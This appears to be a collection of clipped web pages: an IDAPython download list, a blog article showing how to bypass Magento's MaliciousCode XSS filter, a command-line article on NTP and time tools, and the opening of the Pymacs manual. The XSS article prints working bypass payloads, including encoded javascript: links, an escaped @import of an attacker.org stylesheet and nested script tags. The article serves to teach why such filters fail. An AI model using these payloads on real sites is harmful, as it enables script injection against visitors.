| idapython-0.9.61\_ida5.1\_py2.5\_win32.zip.asc| IDAPython 0.9.61 for
Windows, IDA Pro 5.1-5.3 and Python 2.5 Signature| Sep 2008| 186 bytes| 141|  
| idapython-0.9.61\_ida5.1\_py2.5\_win32.zip| IDAPython 0.9.61 for Windows,
IDA Pro 5.1-5.3 and Python 2.5| Sep 2008| 664 KB| 131|  
| idapython-0.9.60\_ida5.1\_py2.5\_win32.zip.asc| IDAPython 0.9.60 for
Windows, IDA Pro 5.1 and Python 2.5 Signature| Jul 2008| 186 bytes| 125|  
| idapython-0.9.60\_ida5.1\_py2.5\_win32.zip| IDAPython 0.9.60 for Windows,
IDA Pro 5.1 and Python 2.5| Jul 2008| 630 KB| 174|  
| idapython-0.9.59\_ida5.1\_py2.5\_win32.zip.asc| IDAPython 0.9.59 for
Windows, IDA Pro 5.1 and Python 2.5 Signature| Jul 2008| 186 bytes| 158|  
| idapython-0.9.59\_ida5.1\_py2.5\_win32.zip| IDAPython 0.9.59 for Windows,
IDA Pro 5.1 and Python 2.5| Jul 2008| 606 KB| 136|  
| idapython-0.9.59.zip.asc| IDAPython 0.9.59 Source Signature| Jul 2008| 186
bytes| 186|  
| idapython-0.9.59.zip| IDAPython 0.9.59 Source| Jul 2008| 183 KB| 94|  
| idapython-0.9.58\_ida5.1\_py2.5\_win32.zip.asc| IDAPython 0.9.58 for
Windows, IDA Pro 5.1 and Python 2.5 Signature| Jun 2008| 186 bytes| 138|  
| idapython-0.9.58\_ida5.1\_py2.5\_win32.zip| IDAPython 0.9.58 for Windows,
IDA Pro 5.1 and Python 2.5| Jun 2008| 442 KB| 115|  
| idapython-0.9.58\_ida5.1\_py2.4\_win32.zip.asc| IDAPython 0.9.58 for
Windows, IDA Pro 5.1 and Python 2.4 Signature| Jun 2008| 186 bytes| 162|  
| idapython-0.9.58\_ida5.1\_py2.4\_win32.zip| IDAPython 0.9.58 for Windows,
IDA Pro 5.1 and Python 2.4| Jun 2008| 442 KB| 236|  
| idapython-0.9.58.zip.asc| IDAPython 0.9.58 Source Signature| Jun 2008| 186
bytes| 173|  
| idapython-0.9.58.zip| IDAPython 0.9.58 Source| Jun 2008| 131 KB| 57|  
| idapython-0.9.57\_ida5.1\_py2.5\_win32.zip.asc| IDAPython 0.9.57 for
Windows, IDA Pro 5.1 and Python 2.5 Signature| May 2008| 186 bytes| 163|  
| idapython-0.9.57\_ida5.1\_py2.5\_win32.zip| IDAPython 0.9.57 for Windows,
IDA Pro 5.1 and Python 2.5| May 2008| 441 KB| 327|  
| idapython-0.9.57\_ida5.1\_py2.4\_win32.zip.asc| IDAPython 0.9.57 for
Windows, IDA Pro 5.1 and Python 2.4 Signature| May 2008| 186 bytes| 192|  
| idapython-0.9.57\_ida5.1\_py2.4\_win32.zip| IDAPython 0.9.57 for Windows,
IDA Pro 5.1 and Python 2.4| May 2008| 441 KB| 137|  
| idapython-0.9.57.zip.asc| IDAPython 0.9.57 Source Signature| May 2008| 186
bytes| 172|  
| idapython-0.9.57.zip| IDAPython 0.9.57 Source| May 2008| 131 KB| 108|  
| idapython-0.9.56\_ida5.1\_py2.5\_win32.zip.asc| IDAPython 0.9.56 for
Windows, IDA Pro 5.1 and Python 2.5 Signature| Apr 2008| 186 bytes| 170|  
| idapython-0.9.56\_ida5.1\_py2.5\_win32.zip| IDAPython 0.9.56 for Windows,
IDA Pro 5.1 and Python 2.5| Apr 2008| 426 KB| 68|  
| idapython-0.9.56\_ida5.1\_py2.4\_win32.zip.asc| IDAPython 0.9.56 for
Windows, IDA Pro 5.1 and Python 2.4 Signature| Apr 2008| 186 bytes| 184|  
| idapython-0.9.56\_ida5.1\_py2.4\_win32.zip| IDAPython 0.9.56 for Windows,
IDA Pro 5.1 and Python 2.4| Apr 2008| 426 KB| 121|  
| idapython-0.9.56.zip.asc| IDAPython 0.9.56 Source Signature| Apr 2008| 186
bytes| 185|  
| idapython-0.9.56.zip| IDAPython 0.9.56 Source| Apr 2008| 128 KB| 55|  
| idapython-0.9.55\_ida5.1\_py2.5\_win32.zip.asc| IDAPython 0.9.55 for
Windows, IDA Pro 5.1 and Python 2.5 Signature| Apr 2008| 186 bytes| 217|  
| idapython-0.9.55-src.zip.asc| IDAPython 0.9.55 Source Signature| Dec 2007|
186 bytes| 212|  
| idapython-0.9.55-src.zip| IDAPython 0.9.55 Source| Dec 2007| 126 KB| 387|  
| idapython-0.9.55\_ida5.1\_py2.5\_win32.zip| IDAPython 0.9.55 for Windows,
IDA Pro 5.1 and Python 2.5| Dec 2007| 422 KB| 1267|  
| idapython-0.9.55\_ida5.1\_py2.4\_win32.zip.asc| IDAPython 0.9.55 for
Windows, IDA Pro 5.1 and Python 2.4 Signature| Dec 2007| 186 bytes| 225|  
| idapython-0.9.55\_ida5.1\_py2.4\_win32.zip| IDAPython 0.9.55 for Windows,
IDA Pro 5.1 and Python 2.4| Dec 2007| 422 KB| 677|  
| idapython-0.9.54\_ida5.1\_py2.5\_win32.zip.asc| IDAPython 0.9.54 for
Windows, IDA Pro 5.1 and Python 2.4 Signature| Oct 2007| 186 bytes| 219|  
| idapython-0.9.54\_ida5.1\_py2.5\_win32.zip| IDAPython 0.9.54 for Windows,
IDA Pro 5.1 and Python 2.5| Oct 2007| 373 KB| 55|  
| idapython-0.9.54\_ida5.1\_py2.4\_win32.zip.asc| IDAPython 0.9.54 for
Windows, IDA Pro 5.1 and Python 2.4 Signature| Oct 2007| 186 bytes| 168|  
| idapython-0.9.54\_ida5.1\_py2.4\_win32.zip| IDAPython 0.9.54 for Windows,
IDA Pro 5.1 and Python 2.4| Oct 2007| 373 KB| 151|  
1 - 61 of 61

Sort Up  
---  
Sort Down  
Hide Column  
Sort Up  
---  
Sort Down  
Show only <img src='img/Temp2_2381.gif' />  
Hide Column  
Sort Up  
---  
Sort Down  
Hide Column  
Sort Up  
---  
Sort Down  
Hide Column  
Sort Up  
---  
Sort Down  
Hide Column  
---  
Featured  
---  
---  
---  
---  
Show columns:  
---  
♦ Filename  
♦ Summary  
♦ Uploaded  
♦ Size  
♦ DownloadCount  
UploadedBy  
Type  
Opsys  
Idapython  
Edit column spec...  
©2009 Google - Code Home \- Terms of Service \- Privacy Policy \- Site
Directory \- Project Hosting Help

Hosted by <img src='img/Temp2_2382.gif' width='107' height='24' alt='Google
Code' />

# Circumventing XSS filters

**Created:**| _1/29/2016 9:23:22 PM_  
---|---  
**Updated:**| _1/29/2016 9:23:22 PM_  
**Author:**| __  
**Tags:**| __  
  
  

# Circumventing XSS filters

Jan 29, 2016

XSS or cross site scripting is an attack where an hacker injects Javascript in
a page that is then run by another visitor. To prevent this, some software
tries to remove any Javascript from the input. This is pretty hard to
implement correctly. In this article I will show some code that tries to
remove Javascript code from the input, and show several ways to circumvent
this.

Take for example the class `Mage_Core_Model_Input_Filter_MaliciousCode` from
the webshop software Magento. This class is meant to filter “malicious code”,
which means any way to insert Javascript.

The code looks like this:

[code]

    protected $_expressions = array(
        '/(\/\*.*\*\/)/Us',
        '/(\t)/',
        '/(javascript\s*:)/Usi',
        '/(@import)/Usi',
        '/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis',
        '/(ondblclick|onclick|onkeydown|onkeypress|onkeyup|onmousedown|onmousemove|onmouseout|onmouseover|onmouseup|onload|onunload|onerror)=[^<]*(?=\>)/Uis',
        '/<\/?(script|meta|link|frame|iframe).*>/Uis',
        '/src=[^<]*base64[^<]*(?=\>)/Uis',
    );
    
    function filter($value) {
        return preg_replace($this->_expressions, '', $value);
    }
    
[/code]

The variable `$_expressions` contains a list of regular expressions that are
removed from the text by the `preg_replace`. So if you type
`<script>foo</script>`, both tags will be removed and only `foo` will remain.

Let’s look at ways to circumvent this filter. Our goal is to pass some HTML
through it that executes Javascript. The filter has several expressions that
are meant to prevent this:

Filter regex | Possible exploit  
---|---  
`(javascript\s*:)` | `<a href="javascript:alert('xss')">`  
`@import` | `@import url(http://attacker.org/malicious.css)`  
`style=…` | `<div style="color: expression(alert('XSS'))">`  
`ondblclick|onclick|…` | `<div onclick="alert('xss')">`  
`<script…` | `<script>alert("XSS")</script>`  
## Javascript URL

A link can be made to run javascript by using `javascript:…` in the URL:

[code]

    <a href="javascript:alert('test')">link</a>
    
[/code]

Our filter removes `javascript:` from the code, so we can’t use the above code
directly. We can try to change the `javascript:` part so that it is still
executed by the browser, but doesn’t exactly match the regex. Let’s try to
URL-encode a letter:

[code]

    <a href="java&#115;cript:alert('xss')">link</a>
    
[/code]

The regex no longer matches, but the browser will still execute this because
it does URL-decode the link before using it.

Besides Javascript there is also VBScript. It is deprecated and disabled in
IE11, but works on older versions of Internet Explorer or if you put IE11 in
IE10 emulation mode. We can use this to run some code in the same way as
Javascript links:

[code]

    <a href='vbscript:MsgBox("XSS")'>link</a>
    
[/code]

## CSS import

Internet Explorer supports Javascript expressions in CSS, called dynamic
properties. Allowing an attacker to load an external CSS stylesheet would thus
be dangerous, as the attacker can now run Javascript in the context of the
original page.

[code]

    <style>
    @import url("http://attacker.org/malicious.css");
    </style>
    
[/code]

And in malicious.css:

[code]

    body {
        color: expression(alert('XSS'));
    }
    
[/code]

We can circumvent the `@import` filter by using a backslash escape character
in the CSS:

[code]

    <style>
    @imp\ort url("http://attacker.org/malicious.css");
    </style>
    
[/code]

Internet Explorer allows for the backslash and now it passes our filter.

## Inline style

We can also use the dynamic properties supported by Internet Explorer in
inline style:

[code]

    <div style="color: expression(alert('XSS'))">
    
[/code]

The filter will check for `style`, followed by anything that is not a `<`,
followed by `expression`:

[code]

    /style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis
    
[/code]

So let’s put a `<` somewhere in there:

[code]

    <div style="color: '<'; color: expression(alert('XSS'))">
    
[/code]

This passes the filter because the `[^<]` does not match our `<`, and this is
still valid CSS. Although `<` is not a valid color, the rest of the CSS is
still used.

## Javascript events

One can define event handlers on an element like this:

[code]

    <div onclick="alert('xss')">
    
[/code]

Now this Javascript would only be run when someone clicks on it, but there are
also events that are triggered when the page loads or when the user moves his
mouse. Many of these events are removed by the filter, but it simply does not
contain all event handlers. For example, `onmouseenter` is missing:

[code]

    <div onmouseenter="alert('xss')">
    
[/code]

Our code is run when the user moves his mouse onto the div.

Another way to circumvent this is to put a space between the attribute and the
`=`. Magento fixed this in a later version of the MaliciousCode filter.

[code]

    <div onclick ="alert('xss')">
    
[/code]

## Script tag

A script tag can be used to define inline script, or load a script file from
another location:

[code]

    <script>alert("XSS")</script>
    <script src="http://attacker.org/malicious.js"></script>
    
[/code]

Our filter removes any `<script>` tags. However, it only does so once, so we
can make sure that the content that we want ends up after removing the tags:

[code]

    <scr<script>ipt>alert("XSS")</scr<script>ipt>
    
[/code]

The filter removes the two occurences of `<script>`, and we end up with
exactly the code that we want. In fact, this method of nesting tags can be
used to circumvent any of filter expressions.

## Conclusion

Although the filter tries to block several methods of script injection, we
found circumventions for all of them. It is not easy to create a filter to
prevent XSS attacks. There are several types of encoding and a number of
different browser behaviours you have to take into account. This makes it hard
on the developer and easy on the attacker.

## Security implications

I have shown some ways to get Javascript through this filter anyway. This
could be a security risk, except that this filter is never used with untrusted
input. As can be read in the Magento 2.0.1 release notes:

> A user can easily bypass the MaliciousCode filter function when entering
> HTML code. However, Magento rarely uses this filter, and none of its current
> usages allow unauthenticated user input.
Furthermore, I contacted Magento on 23 January and they didn’t consider this a
security issue, so I felt free to publish this article.

  

# Command Line Kung Fu: Episode \#67: Time Lords

**Created:**| _11/24/2009 7:20:38 PM_  
---|---  
**Updated:**| _11/24/2009 7:20:44 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#67: Time Lords

Hal is still adjusting:  
  
Mr. Bucket suggested a time-related Episode this week in honor of the shift
back to Standard Time here in the U.S. Generally, we try to humor Mr. Bucket
as long as his requests aren't too deviant \(or if Ed is the only one who has
to dress up\), so here goes.  
  
First I've got a couple of tricks up my sleeve related to the NTP time
synchronization service. My favorite command-line tool for checking up on my
NTP servers is "ntpdc -p":  
  

[code]

    $ **ntpdc -pnserver.example.com**  
    remote           local      st poll reach  delay   offset    disp  
    =======================================================================  
    =216.14.97.75    192.168.1.2     16 1024    0 0.00000  0.000000 0.00000  
    =173.45.227.99   192.168.1.2      2 1024  377 0.06984 -0.003889 0.13681  
    *64.73.32.135    192.168.1.2      2 1024  377 0.09087  0.002323 0.12178  
    =127.127.1.1     127.0.0.1        5   64  377 0.00000  0.000000 0.03093
[/code]

  
The "st" column that shows the remote server's stratum level. This is useful
for detecting downed time servers, because they show up as stratum 16 like on
the first line above. The "poll" \(polling interval in seconds\) and "reach"
\(displayed in octal notation and capped at 255, the number of recent
successful polls\) columns give you and idea of how well your server is
synchronizing with other time servers. "delay" tells you how far away the
remote server is from you, and "offset" is the difference between your local
clock and the clock on the remote server \(if things are working right, the
offset should be less than a hundredth of a second\). Note that in the above
example, I checked on the remote server.example.com machine, but you can leave
off the host name portion to check the time server running on your local box.  
  
In addition to checking status with ntpdc, you can also set the time on your
box from the command line using ntpdate. Normally you would just run ntpdate
and specify the server you wanted to synchronize against, but here's a cute
little bit of awk fu for pulling the server names out of your current ntp.conf
file:  
  

[code]

    # **ntpdate `awk '/^(server|peer) / && !/127.127./ {print $2}' /etc/ntp.conf`**  
    29 Oct 19:42:43 ntpdate[13376]: adjust time server 66.187.233.4 offset -0.004818 sec
[/code]

  
Here I'm pulling off the host name or IP address specified on the "server" or
"peer" lines in your ntp.conf file. I'm skipping any "addresses" that start
with "127.127." since these are merely place holders for clock driver
definitions and not real IP addresses.  
  
Note that you can only run ntpdate if your NTP daemon is not currently active.
If ntpd is running at the same time you execute ntpdate, you get a message
like this:  
  

[code]

    # **ntpdate `awk '/^(server|peer) / && !/127.127/ {print $2}' /etc/ntp.conf`**  
    29 Oct 19:42:18 ntpdate[13362]: the NTP socket is in use, exiting
[/code]

  
Typically you only need to call NTP date by hand if the NTP daemon is not
running and your clock has gotten out of synch. After you use ntpdate to jump
your clock to something approximating the right time, you should start your
NTP daemon to keep it synced \(usually "/etc/init.d/ntpd start"\).  
  
Getting away from NTP now, let me show you a little environment variable hack
that's particularly useful for Forensic Analysts. Suppose you've captured a
disk image from a system that was being used in a time zone other than the one
your analysis machine is set to. You'd like to mount a copy of the image and
be able to observe the timestamps on the files relative to the time zone the
image was taken from. You could change the global time zone setting on your
analysis workstation, but that could cause you lots of hassle.  
  
It turns out that bash allows you to set the TZ environment variable in your
shell to alter the local time zone setting for only that shell. For example,
my local time zone is US/Pacific, but suppose I had an image from a machine
from the East Coast:  
  

[code]

    $ **date**  
     Thu Oct 29 17:59:13 PDT 2009  
    $ **ls -ld /mnt/image/tmp**  
     drwxrwxrwt 23 root root 4096 Oct 29 17:28 /mnt/image/tmp  
    $ **export TZ=US/Eastern**  
     $ **date**  
     Thu Oct 29 21:00:07 EDT 2009  
    $ **ls -ld /mnt/image/tmp**  
     drwxrwxrwt 23 root root 4096 Oct 29 20:28 /mnt/image/tmp
[/code]

  
Cool\! Now I can look at the dates on files in my image and not constantly
have to be doing mental arithmetic to convert the time stamps.  
  
So there are three of my favorite time-related hacks. If we can get Ed out of
those leather chaps that Mr. Bucket had him wear, I'm sure he'll have some
cool Windows Fu to show us...  
  
Ed chimes in:  
  
Ahhh... time. A great idea for an article, Mr. Bucket. Much better than your
last idea... you know... the one about the chaps. Anyway, I digress.  
  
Let's walk before we run. To check the time on your local computer, you can
simply run the following command:  

[code]

    C:\> time /t  
    06:05 AM
[/code]

Want more precision? We can get that, as discussed in Episode \#49, by
displaying the %time% environment variable.  

[code]

    C:\> echo %time%  
    6:05:22.75
    
[/code]

Alternatively, the "net time" command can be used to pull the time from a
remote \(or even local\) Windows box:  

[code]

    C:\> net time \\[computername]  
    Current time at \\FRED2 is 10/31/2009 6:04 AM  
    The command completed successfully.
    
[/code]

Note that, depending on whether you are a member of a domain and the
privileges of your current account, you may need to first initiate an SMB
connection with that machine, by running:  

[code]

    C:\> net use \\[computername] [password] /u:[username]  
    The command completed successfully.
    
[/code]

If you happen to trust that server, you can set your local machine's time by
its clock through running:  

[code]

    C:\> net time \\[computername] /set /yes  
    
    
[/code]

Well, that's all well and good, but Hal was working with NTP, which offers
many more time sources than, well, our local host or domain controller. How
can we pull time from an NTP server in Windows? First, please note that
officially, with built-in capabilities, Windows relies on the Simple Network
Time Protocol \(SNTP\), a stripped down NTP implementation that is often used
in applications where time accuracy isn't as vital. That's why you'll see sntp
throughout our commands below.  
  
Let's first look to see which NTP server our Windows machine is configured to
use:  

[code]

    C:\> net time /querysntp  
    The current SNTP value is: time.windows.com,0x1  
    The command completed successfully.
    
[/code]

The time.windows.com server is the default. Do you trust Microsoft to
accurately track the time on their server? After missing the release date of
Windows Vista by... uh... something like 3 years, maybe we shouldn't
\(darnit... I couldn't resist pouring salt in those old wounds.\) We can
change the NTP server we're configured to use as follows:  

[code]

    C:\> net time /setsntp:pool.ntp.org  
    The command completed successfully.
    
[/code]

Note that you can put a whole list of NTP servers there by following the colon
with a space-separated list of NTP servers enclosed in double quotes,
resulting in something like /setsntp:"pool.ntp.org ntp.colby.edu
tick.gatech.edu"  
  
OK... now, once we've set ourselves up to use an NTP server, let's try to
check the time:  

[code]

    C:\> net time  
    Could not locate a time-server.  
      
    More help is available by typing NET HELPMSG 3912.
    
[/code]

What? Why doesn't "net time" work here? Note that the HELPMSG is not at all
helpful, as it explains that we could not locate a time-server, which we
already saw in the error message itself. Gee, Microsoft... thanks for nothing.  
  
It turns out that we can't pull time via "net time" using NTP \(really SNTP\)
unless we're a domain controller with the Flexible Single Master Operation
\(FSMO\) role. Lovely. But, what if we're just a lowly client, maybe not even
in a domain? Can we sync with an NTP server using only built in tools? As Bob
the Builder and Barack Obama might say: Yes, we can\!  
  
We can rely on that happy old stand-by for configuring time on Windows boxen,
the intuitively named w32tm command. And in homage to Heinz Doofenshmirtz, by
"intuitively named", I mean, of course, "completely non-intuitively named."  
  
To sync with an NTP server, we start by configuring our Windows box \(whether
it's a client or server version of Windows\) to allow us to pull time manually
from an NTP server we'd like to use \(note that you have to specify this with
w32tm even if you've already run "net time" with the /setsntp option\):  

[code]

    C:\> w32tm /config /syncfromflags:manual /manualpeerlist:pool.ntp.org  
    The command completed successfully.
    
[/code]

Now that we're configured, just about ready to sync times, let's do a quick
time check before the sync:  

[code]

    C:\> time /t  
    06:47 AM
    
[/code]

Oh... that looks dreadfully wrong. I think my clock is fast. Let's cause
Windows to read our new configuration now:  

[code]

    C:\> w32tm /config /update  
    The command completed successfully.
    
[/code]

And finally, let's resync:  

[code]

    c:\> w32tm /resync  
    Sending resync command to local computer  
    The command completed successfully.
    
[/code]

Boom\! The clock in my tool tray is now synchronized\! Let's double check that
we have the new and proper time:  

[code]

    C:\> time /t  
    06:13 AM
    
[/code]

We've now synced with a remote NTP server at the command line. Yummy.  
  
Also, there are a lot of other fascinating time-related options available with
w32tm. For instance, to display your timezone, you could run:  

[code]

    c:\> w32tm /tz  
    Time zone: Current:TIME_ZONE_ID_STANDARD Bias: 300min (UTC=LocalTime+Bias)  
    [Standard Name:"Eastern Standard Time" Bias:0min Date:(M:11 D:1 DoW:0)]  
    [Daylight Name:"Eastern Daylight Time" Bias:-60min Date:(M:3 D:2 DoW:0)]
    
[/code]

We can even convert an NT system time \(the number of 100 nanosecond intervals
that have elapsed since Jan 1st, 1601, the date DOS was first written by
monks\) to a human readable date and time:  

[code]

    c:\> w32tm /ntte 128904420852883740  
    149194 22:21:25.2883740 - 6/25/2009 5:21:25 PM
    
[/code]

This is especially useful if you have a Vista box \(my condolences\) and are
researching the installation of patches using "wmic qfe". In XP Pro and
Windows 7, "wmic qfe list full" returns a list of patches with an
"InstalledOn" field in a human readable form. But, in Vista, this date is now
a hexadecimal number of an NT system time. Convert that hex number into
decimal using you favorite calculator, and then fire up w32tm /ntte to convert
it into a date you can read. Also, the "w32tm /ntpte" command converts NTP
times \(seconds from Jan 1st, 1900, the date that Nicola Tesla implemented the
first Unix kernel\) into a human readable format.  
  
But, wait, there's more\! Hal showed how to add a timestamp into the output of
your commands, useful in forensics. I sometimes will put a date and time into
my command prompt itself, so that I can then copy and paste my session to use
as evidence:  

[code]

    C:\> prompt $D$T$S$P$G  
    Sat 10/31/2009 6:15:29.97 C:\>
    
[/code]

So, there's a bunch of time-related stuff. Have you got any other fun time
kickers, Tim?  
  
Tim clocks in:  
  
Let's take a look at the cmdlets available that use the Time or Date nouns.  
  

[code]

    PS C:\> **Get-Command -Noun date**  
     CommandType    Name            Definition  
    -----------    ----            ----------  
    Cmdlet         Get-Date        Get-Date [[-Date] ...  
    Cmdlet         Set-Date        Set-Date [-Date]  ...  
      
    PS C:\> **Get-Command -Noun time**  
    [nothing]
    
[/code]

  
  
Unfortunately, there aren't any built-in cmdlets for NTP. So to answer Ed's
question, "No, no interesting kickers this week." But we can still take a look
at the Get-Date cmdlet and its properties.  
  

[code]

    PS C:\> **Get-Date | fl**  
      
     DisplayHint : DateTime  
    DateTime    : Sunday, November 01, 2009 10:17:23 PM  
    Date        : 11/1/2009 12:00:00 AM  
    Day         : 1  
    DayOfWeek   : Sunday  
    DayOfYear   : 305  
    Hour        : 22  
    Kind        : Local  
    Millisecond : 206  
    Minute      : 17  
    Month       : 11  
    Second      : 23  
    Ticks       : 633927106432066338  
    TimeOfDay   : 22:17:23.2066338  
    Year        : 2009
    
[/code]

  
  
The object has a number of methods available, and they can be seen by piping
the object into Get-Member. The results aren't shown here since it is a pretty
long list. Since the reason for this episode is Daylight Savings Time we'll
take a quick peek at the relevant method.  
  

[code]

    PS C:\> **(Get-Date).IsDaylightSavingTime()**  
     False
    
[/code]

  
  
Ok, that wasn't spectacular, but let's carry on and recreate Ed's command
prompt with the date.  
  

[code]

    PS C:\> **function prompt {"PS $(Get-Date) $(Get-Location)>"}**  
     PS 11/01/2009 22:43:53 C:\>
    
[/code]

  
  
Since the prompt is defined by overloading the prompt function there are
endless possibilities for setting a custom prompt.  
  
That's all folks, hope to see you next time.

# Pymacs version 0.24-beta1

**Created:**| _10/30/2009 10:34:54 AM_  
---|---  
**Updated:**| _10/30/2009 10:35:05 AM_  
**Author:**| __  
**Tags:**| _python Emacs_  
  

### Pymacs framework  
---  
|

# Pymacs version 0.24-beta1

## Extending Emacs with Python

> | Author:| François Pinard   
> ---|---  
> Email:| pinard@iro.umontreal.ca  
> Copyright:| © Progiciels Bourbeau-Pinard inc., Montréal 2003, 2008  
Contents

  * 1 Introduction
    * 1.1 What is Pymacs?
    * 1.2 Documentation and examples
    * 1.3 Other resources
  * 2 Installation
    * 2.1 Check the search paths
    * 2.2 Select Emacs and Python
    * 2.3 Check if Pymacs would work
    * 2.4 Install the Pymacs proper
    * 2.5 Prepare your `.emacs` file
    * 2.6 Porting and caveats
  * 3 Emacs Lisp structures and Python objects
    * 3.1 Conversions
    * 3.2 Simple objects
    * 3.3 Sequences
    * 3.4 Opaque objects
      * 3.4.1 Emacs Lisp handles
      * 3.4.2 Python handles
  * 4 Usage on the Emacs Lisp side
    * 4.1 **pymacs-exec**
    * 4.2 **pymacs-eval**
    * 4.3 **pymacs-call**
    * 4.4 **pymacs-apply**
    * 4.5 **pymacs-load**
    * 4.6 Expected usage
    * 4.7 Special Emacs Lisp variables
      * 4.7.1 pymacs-load-path
      * 4.7.2 pymacs-trace-transit
      * 4.7.3 pymacs-forget-mutability
      * 4.7.4 pymacs-mutable-strings
      * 4.7.5 Timeout variables
      * 4.7.6 pymacs-dreadful-zombies
  * 5 Usage on the Python side
    * 5.1 Python setup
    * 5.2 Emacs Lisp symbols
    * 5.3 Dynamic bindings
    * 5.4 Raw Emacs Lisp expressions
    * 5.5 User interaction
    * 5.6 Key bindings
  * 6 Debugging
    * 6.1 On the communication protocol
    * 6.2 The **\*Pymacs\*** buffer
    * 6.3 Emacs usual debugging
    * 6.4 Auto-reloading on save
    * 6.5 Debugging the Pymacs helper
  * 7 About and around Pymacs
    * 7.1 Known limitations
    * 7.2 History
    * 7.3 Pymacs and me\!
    * 7.4 Vim considerations
    * 7.5 Inclusion within Emacs
    * 7.6 Speed issues
    * 7.7 The future of Pymacs

# 1 Introduction

## 1.1 What is Pymacs?

Pymacs is a powerful tool which, once started from Emacs, allows two-way
communication between Emacs Lisp and Python. Pymacs aims to employ Python as
an extension language for Emacs rather than the other way around, and this
asymmetry is reflected in some design choices. Within Emacs Lisp code, one may
load and use Python modules. Python functions may themselves use Emacs
services, and handle Emacs Lisp objects kept in Emacs Lisp space.

The goals are to write _naturally_ in both languages, debug with ease, fall
back gracefully on errors, and allow full cross-recursion.

It is very easy to install Pymacs, as neither Emacs nor Python need to be
compiled nor relinked. Emacs merely starts Python as a subprocess, and Pymacs
implements a communication protocol between both processes.

Report problems, documentation flaws, or suggestions to François Pinard:

>   * mailto:pinard@iro.umontreal.ca
>

## 1.2 Documentation and examples

The main Pymacs site conveys the Pymacs documentation \(you are reading its
Pymacs manual right now\) and distributions:

>   * http://pymacs.progiciels-bpi.ca
>

I expect average Pymacs users to have a deeper knowledge of Python than Emacs
Lisp. People have widely varying approaches in writing `.emacs` files, as far
as Pymacs is concerned:

>   * Some can go and write almost no Emacs Lisp, yet a bit is still necessary
> for establishing a few loading hooks. For many simple needs, one can do a
> lot without having to learn much.
>   * On the other hand, for more sophisticated usages, people cannot really
> escape knowing the Emacs Lisp API to some extent, because they should be
> programming-wise familiarity with what is a buffer, a point, a mark, etc.
> and what are the allowed operations on those.
>

While Pymacs examples are no substitute for a careful reading of the Pymacs
manual, the contemplation and study of others' nice works may well enligthen
and deepen your understanding. A few examples are included within the Pymacs
distribution, each as a subdirectory of the `contrib/` directory, and each
haviing its own `README` file. These are listed below, easiest examples first:

>   * Paul Winkler's example
>     * http://pymacs.progiciels-bpi.ca/Winkler.html
>   * Fernando Pérez' examples
>     * http://pymacs.progiciels-bpi.ca/Perez.html
>     * http://pymacs.progiciels-bpi.ca/contrib/Perez/
>   * Giovanni Giorgi's files
>     * http://pymacs.progiciels-bpi.ca/Giorgi.html
>     * http://pymacs.progiciels-bpi.ca/contrib/Giorgi/
>   * A reformatter for boxed comments
>     * http://pymacs.progiciels-bpi.ca/rebox.html
>     * http://pymacs.progiciels-bpi.ca/contrib/rebox/
>

A few more substantial examples of Pymacs usage have been brought to my
attention, and are available externally \(listed here in no particular
order\):

>   * pymdev -- A Python Emacs Development Module:
>     * http://www.toolness.com/pymdev/
>   * Ropemacs -- Features like refactoring and code-assists:
>     * http://rope.sf.net/ropemacs.html
>     * http://rope.sf.net/hg/ropemacs
>   * Bicycle Repair Man -- A Refactoring Tool for Python:
>     * http://bicyclerepair.sourceforge.net/
>   * Emacs Freex -- A personal wiki on steroids:
>     * http://www.princeton.edu/%7Egdetre/software/freex/docs/index.html
>

The QaTeX project was influenced by Pymacs, according to its author:

>   * http://qatex.sourceforge.net/
>   * http://www.pytex.org/doc/index.html\#eurotex2005
>

## 1.3 Other resources

You are welcome writing to or joining the following mailing list, where there
are a few people around likely to give you feedback:

>   * mailto:pymacs-devel@googlegroups.com
>

If you have no fear of wider crowds :-\), there still is:

>   * mailto:python-list@python.org
>

There are other Web sites specifically about Pymacs. Giovanni Giorgi has one
of them:

>   * http://blog.objectsroot.com/projects/pymacs/
>

# 2 Installation

## 2.1 Check the search paths

You should make sure that both Emacs and Python are usable, whatever the
directory happens to be the current one. This is particularly important at the
time Emacs launches Python under the scene, as Python ought to be found then
started. On most systems, this means setting the search path correctly.

The following notes, for MS Windows, have been provided by Greg Detre.

  * After `Start / Run / Cmd`, type `python`. If this works wherever you are, then your Python installation directory is already in your system's **PATH** environment variable. If that's not the case, follow the instructions here to add it: 
> http://www.computerhope.com/issues/ch000549.htm
  * You may have to add the directory containing the Python scripts that you want to run through Pymacs to your **PYTHONPATH** variable, in the same fashion as above. You can test this by running Python, and then: 
[code]    import sys

    sys.path
    
    
[/code]

or just:

[code]    import my_python_scripts

    
    
[/code]

from somewhere besides your scripts directory.

## 2.2 Select Emacs and Python

The environment variable `PYMACS_PYTHON` is usually left unset or empty, in
which case `python` is implied. It has the purpose of naming the Python
interpreter program to be called for starting the Pymacs helper. It may be set
to give the full path of the executable if the Python program exists at some
location outside the program search path. It may also be given when the
interpreter name is different, for exemple when the Python version is part of
the program name.

The similar environment variable `PYMACS_EMACS` is usually left unset or
empty, in which case `emacs` is implied. It has the purpose of naming the
Emacs editor, yet this is only meaningful for the validation \(see next
section\). For normal Pymacs usage, Emacs is launched by the user long before
Pymacs is itself started, and consequently, there is absolutely no need to
tell Pymacs which Emacs is needed. For the validation suite however, it may be
set to give the full path of the executable if the Emacs program exists at
some location outside the program search path. It may also be given when the
editor name is different, for example when the Emacs version is part of the
program name, or when this is a different editor \(like the value `xemacs` to
call XEmacs\).

## 2.3 Check if Pymacs would work

To know, before installing Pymacs, if it would work on your system, try the
validation suite by running `make check`. The suite is fairly elementary, but
nevertheless, it is able to detect some common show stoppers. As a convenience
for those who want to quickly try various Emacs and Python combinations, `make
check emacs=SOME_EMACS python=SOME_PYTHON` temporarily overrides the
environment variables `PYMACS_EMACS` and `PYMACS_PYTHON`. For example, `make
check emacs=xemacs` runs the validation suite using `xemacs` for an editor.

The remaining of this section may be safely be skipped, for mere Pymacs
installation.

I did not base the validation suite on Junit \(the Python unit testing
framework is a re-implementation of it\), but on Codespeak's pylib `py.test`,
which is much simpler, and still very powerful. The **pylib** project is
driven by Holge Kregel, but attracted some Python brains, like Armin Rigo
\(known for Psyco, among other things -- I think his **lsprof** has also been
added to Python 2.5 under the name **cProfile**\). This gang addresses
overdone/heavy methods in Python, and do them better. Even `py.test` is a bit
